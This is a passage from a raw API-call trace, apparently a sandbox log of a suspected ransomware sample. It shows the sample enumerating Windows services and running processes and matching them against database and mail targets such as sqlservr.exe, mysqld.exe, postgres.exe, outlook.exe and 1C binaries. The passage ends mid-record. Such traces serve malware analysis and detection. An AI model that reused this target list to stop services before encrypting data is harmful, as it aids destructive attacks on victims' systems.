lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0182.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0182.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0182.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0182.710] lstrlenW (lpString="Themes") returned 6 [0182.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0182.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0182.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0182.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0182.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0182.710] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0182.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0182.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0182.710] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0182.710] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0182.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0182.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0182.717] Process32FirstW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.719] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.719] lstrlenW (lpString="System") returned 6 [0182.720] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.721] lstrlenW (lpString="smss.exe") returned 8 [0182.721] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.722] lstrlenW (lpString="csrss.exe") returned 9 [0182.723] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.724] lstrlenW (lpString="wininit.exe") returned 11 [0182.724] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.725] lstrlenW (lpString="csrss.exe") returned 9 [0182.725] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.726] lstrlenW (lpString="winlogon.exe") returned 12 [0182.726] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.728] lstrlenW (lpString="services.exe") returned 12 [0182.728] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.729] lstrlenW (lpString="lsass.exe") returned 9 [0182.729] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.730] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.731] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.732] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.732] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.733] lstrlenW (lpString="svchost.exe") returned 11 [0182.733] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.734] lstrlenW (lpString="svchost.exe") returned 11 [0182.734] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.735] lstrlenW (lpString="dwm.exe") returned 7 [0182.735] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.737] lstrlenW (lpString="svchost.exe") returned 11 [0182.737] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.738] lstrlenW (lpString="svchost.exe") returned 11 [0182.738] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.753] lstrlenW (lpString="svchost.exe") returned 11 [0182.753] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.754] lstrlenW (lpString="svchost.exe") returned 11 [0182.754] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.754] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.755] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.755] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.755] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.755] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.755] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.755] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.756] lstrlenW (lpString="svchost.exe") returned 11 [0182.756] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.756] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.756] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.756] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.756] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.756] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.756] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.756] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.757] lstrlenW (lpString="svchost.exe") returned 11 [0182.757] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.757] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.757] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.757] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.757] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.757] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.757] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.757] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.758] lstrlenW (lpString="svchost.exe") returned 11 [0182.758] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.758] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.758] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.758] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.758] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.758] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.759] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.759] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.760] lstrlenW (lpString="svchost.exe") returned 11 [0182.760] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.760] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.760] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.760] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.760] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.760] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.760] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.760] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.761] lstrlenW (lpString="svchost.exe") returned 11 [0182.761] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.761] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.761] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.761] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.761] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.761] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.761] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.761] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.762] lstrlenW (lpString="svchost.exe") returned 11 [0182.762] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.762] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.762] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.762] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.762] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.762] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.762] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.762] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.763] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.763] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0182.763] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0182.763] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0182.763] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0182.763] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0182.764] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0182.764] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0182.764] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.765] lstrlenW (lpString="svchost.exe") returned 11 [0182.765] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.765] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.765] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.765] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.765] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.765] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.765] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.765] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.766] lstrlenW (lpString="audiodg.exe") returned 11 [0182.766] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0182.766] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0182.766] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0182.766] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0182.766] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0182.766] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0182.766] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0182.766] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.767] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.767] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0182.767] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0182.767] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0182.767] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0182.767] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0182.767] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0182.767] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0182.767] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0182.769] lstrlenW (lpString="sihost.exe") returned 10 [0182.769] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0182.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0182.769] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0182.769] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0182.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0182.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0182.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0182.769] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.770] lstrlenW (lpString="svchost.exe") returned 11 [0182.770] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0182.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0182.770] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0182.770] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0182.770] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0182.770] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0182.770] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0182.770] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0182.771] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0182.771] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0182.771] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0182.771] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0182.771] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0182.771] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0182.771] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0182.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0182.772] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0182.772] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0182.772] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0182.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0182.773] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0182.773] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0182.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0182.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0182.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0182.773] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0182.774] lstrlenW (lpString="Memory Compression") returned 18 [0182.774] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0182.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0182.774] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0182.774] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0182.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0182.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0182.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0182.774] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.775] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.775] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0182.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0182.775] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0182.775] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0182.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0182.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0182.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0182.775] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0182.776] lstrlenW (lpString="msoia.exe") returned 9 [0182.776] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0182.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0182.776] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0182.776] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0182.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0182.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0182.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0182.777] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.778] lstrlenW (lpString="explorer.exe") returned 12 [0182.778] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0182.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0182.778] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0182.778] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0182.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0182.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0182.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0182.778] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0182.779] lstrlenW (lpString="SearchUI.exe") returned 12 [0182.779] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0182.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0182.779] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0182.779] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0182.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0182.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0182.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0182.780] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, 